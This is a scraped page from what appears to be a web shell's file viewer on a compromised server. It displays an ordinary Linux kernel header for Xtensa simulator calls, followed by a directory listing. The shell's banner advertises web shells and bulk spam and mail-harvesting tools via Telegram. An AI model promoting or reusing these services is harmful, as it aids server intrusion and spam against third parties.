__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/*
 * include/asm-xtensa/platform-iss/simcall.h
 *
 * This file is subject to the terms and conditions of the GNU General Public
 * License.  See the file "COPYING" in the main directory of this archive
 * for more details.
 *
 * Copyright (C) 2001 Tensilica Inc.
 * Copyright (C) 2017 - 2021 Cadence Design Systems Inc.
 */

#ifndef _XTENSA_PLATFORM_ISS_SIMCALL_H
#define _XTENSA_PLATFORM_ISS_SIMCALL_H

#include <linux/bug.h>

#ifdef CONFIG_XTENSA_SIMCALL_ISS
#include <platform/simcall-iss.h>
#endif
#ifdef CONFIG_XTENSA_SIMCALL_GDBIO
#include <platform/simcall-gdbio.h>
#endif

static inline int simc_exit(int exit_code)
{
#ifdef SYS_exit
	return __simc(SYS_exit, exit_code, 0, 0);
#else
	WARN_ONCE(1, "%s: not implemented\n", __func__);
	return -1;
#endif
}

static inline int simc_open(const char *file, int flags, int mode)
{
	return __simc(SYS_open, (int) file, flags, mode);
}

static inline int simc_close(int fd)
{
	return __simc(SYS_close, fd, 0, 0);
}

static inline int simc_ioctl(int fd, int request, void *arg)
{
#ifdef SYS_ioctl
	return __simc(SYS_ioctl, fd, request, (int) arg);
#else
	WARN_ONCE(1, "%s: not implemented\n", __func__);
	return -1;
#endif
}

static inline int simc_read(int fd, void *buf, size_t count)
{
	return __simc(SYS_read, fd, (int) buf, count);
}

static inline int simc_write(int fd, const void *buf, size_t count)
{
	return __simc(SYS_write, fd, (int) buf, count);
}

static inline int simc_poll(int fd)
{
#ifdef SYS_select_one
	long timeval[2] = { 0, 0 };

	return __simc(SYS_select_one, fd, XTISS_SELECT_ONE_READ, (int)&timeval);
#else
	WARN_ONCE(1, "%s: not implemented\n", __func__);
	return -1;
#endif
}

static inline int simc_lseek(int fd, uint32_t off, int whence)
{
	return __simc(SYS_lseek, fd, off, whence);
}

static inline int simc_argc(void)
{
#ifdef SYS_iss_argc
	return __simc(SYS_iss_argc, 0, 0, 0);
#else
	WARN_ONCE(1, "%s: not implemented\n", __func__);
	return 0;
#endif
}

static inline int simc_argv_size(void)
{
#ifdef SYS_iss_argv_size
	return __simc(SYS_iss_argv_size, 0, 0, 0);
#else
	WARN_ONCE(1, "%s: not implemented\n", __func__);
	return 0;
#endif
}

static inline void simc_argv(void *buf)
{
#ifdef SYS_iss_set_argv
	__simc(SYS_iss_set_argv, (int)buf, 0, 0);
#else
	WARN_ONCE(1, "%s: not implemented\n", __func__);
#endif
}

#endif /* _XTENSA_PLATFORM_ISS_SIMCALL_H */

Filemanager

Name Type Size Permission Actions
serial.h File 408 B 0644
simcall-gdbio.h File 738 B 0644
simcall-iss.h File 2.08 KB 0644
simcall.h File 2.29 KB 0644
Filemanager